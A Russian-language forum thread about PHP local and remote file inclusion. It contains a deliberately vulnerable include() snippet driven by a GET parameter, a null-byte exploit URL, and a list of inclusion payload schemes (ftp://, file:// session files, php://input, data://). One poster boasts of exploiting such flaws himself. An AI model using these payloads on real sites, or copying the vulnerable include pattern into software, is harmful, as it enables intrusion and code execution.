LINUX.ORG.RU

ещё один какер?

anonymous
()

а почему - нет? Имя файла так задаётся в LFS. Но вот echo «abc\x00def» выводит что ожидается. abcdef

drBatty ★★
()
Ответ на: комментарий от drBatty

просто с некоторой степенью кривизны кода, можно предположить такую штуку:

<?php
$a = $_GET['param'];
include("./$a.php");
+
http://site.com/index.php?param=inclusion.jpg%00
или ещё что-нибудь

AGUtilities ★★★
() автор топика
Ответ на: комментарий от AGUtilities

просто с некоторой степенью кривизны кода, можно предположить такую штуку:

идиотов, которые инклюдят то, что им клиент суёт, лично я не встречал... Если даже у меня переклинит голову, я сделаю так:

<?php
$a = intval($_GET['param']);
$af = array('1.php');
$fname = $af[ $a >= count($af) ? 0 : $a ];

Да и то, об таком быдлокоде никому не стану рассказывать...

drBatty ★★
()
Ответ на: комментарий от AGUtilities

Прикинь да, охуеть!

В PHP 5.4 выпилили и magic_quotes с open_basedir, чтобы всякие криворукие идиоты не надеялись, что интерпретатор языка обязан за них фильтровать данные и проверять легитимность работы с файлами.

anonymous
()
Ответ на: комментарий от AGUtilities

Естественно найдутся, более того, я сам регулярно пользуюсь ошибками таких людей в своих целях.
Даже убрать нуллевой байт (вроде как его уже «убили» в 5.3.6?), то представь себе, можно ведь и так сделать:
ftp://hack:pass@host.com/pagename.php - инклудить ftp/http
file:///tmp/sess_infoinfoinfo - инклудить сессию
php://input - инклудить ввод
data://text/plain;base64,SSBsb3ZlIFBIUAo= - инклудить base64 строку

А ведь ещё есть eval, модификатор «e» в регулярках, create_function, «не фильтрованные» $_SERVER и $_ENV, волшебный unserialize, отключаемые короткие теги, вывод дебаговой информации по дефолту!
Ну а ещё есть apache 1.x запускающий image.php.xyz, ну а сколько радости доставил register_globals даже подумать страшно.
Не стоит забывать о админах локалхоста которые умудрились прописать себе в nginx «правильный конфиг» который позволял посмотреть их php код прямо с веба, через браузер.
Некоторые доверяют данным из _COOKIES (не забывая при этом экранировать _GET и _POST).
И это лишь малая часть возможностей отстрелить себе ноги.

Что будем делать? Ограничить язык со всех сторон? Сделаем встроенный AI для контроля ввода? ГЫ.

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.